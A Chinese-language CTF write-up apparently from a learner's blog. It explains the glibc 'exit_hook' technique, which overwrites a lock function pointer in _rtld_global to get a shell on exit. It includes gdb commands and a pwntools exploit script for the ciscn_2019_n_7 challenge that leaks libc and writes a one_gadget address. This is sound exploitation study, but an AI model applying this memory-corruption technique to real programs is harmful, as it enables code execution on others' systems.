exit_hook
exit_hook
除了free_hook,malloc_hook,还有一个exit_hook可以利用。特别是在高版本没有前两个hook函数之后存在getshell的新方法。
#include<stdio.h>
void main()
{
printf("bhxdn");
exit(0);
}
进入exit函数之后,call了_run_exit_handlers。
后再_run_exit_handlers中call了 _dl_fini
在关键源码中
1 #ifdef SHARED
2 int do_audit = 0;
3 again:
4 #endif
5 for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
6 {
7 /* Protect against concurrent loads and unloads. */
8 __rtld_lock_lock_recursive (GL(dl_load_lock));
9
10 unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
11 /* No need to do anything for empty namespaces or those used for
12 auditing DSOs. */
13 if (nloaded == 0
14 #ifdef SHARED
15 || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
16 #endif
17 )
18 __rtld_lock_unlock_recursive (GL(dl_load_lock));
call了 _rtld_lock_unlock_recursive和 __rtld_lock_lock_recursive两个函数,其实这两个函数都在 _rtld_global中存在,他会调用结构体中的函数,我们看看结构体
p _rtld_global
这样,我们只要将其中一个存的内容掉换成one_gadgets,这是一种getshell的方法,继续看汇编。
看下面汇编,有一个将内容存入rdi的情况,这里就是 _rtld_global._dl_load_lock.mutex.__size的地址。也就是传的参数,这样我们也可以用system(“/bin/sh”)来做。
set *0x7ffff7ffdf60 = 0x7ffff7a31420
set *0x7ffff7ffd968 = 0x7ffff7b95d88
ciscn_2019_n_7
程序逻辑很简单,然后主要就是练exit_hook
add函数
edit函数
问题就在read中,两个函数中的read都会造成溢出到content,从而造成任意写漏洞,这样我们就可以先泄露出libc(输入666),然后通过libc找到rtld_global改其中_rtld_lock_unlock_recursive为one_gadget地址即可。
from LibcSearcher import *
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('/home/hacker/Desktop/ciscn_2019_n_7' )
#p=remote("node4.buuoj.cn",27153)
p=process('/home/hacker/Desktop/ciscn_2019_n_7' )
one_gadget_offset = 0x4f302
p.sendafter("Your choice->",str(666))
puts_offset = 526704
p.recv()
a = p.recv(14)
puts = int(a,16)
libc = puts - puts_offset
print("libc",hex(libc))
exit_hook_offset = 6405984
exit_hook = libc + exit_hook_offset
one_gadget = libc + one_gadget_offset
p.sendafter("Your choice->",str(1))
p.sendafter("Input string Length: ",str(16))
p.sendafter("Author name:",'a'*8 + p64(exit_hook))
p.sendafter("Your choice->",str(2))
p.sendafter("New Author name:",'a'*8 + p64(exit_hook))
print("exit_hook",hex(exit_hook))
print("one_gadget",hex(one_gadget))
p.sendafter("New contents:",p64(one_gadget))
gdb.attach(p)
pause()
p.sendafter("Your choice->",str(100))
p.interactive()
这是one_gadget成功的脚本,但是其实是不行的,在本地我发现无法满足one_gadget的条件,所以还需要改成稳定的system(“/bin/sh”)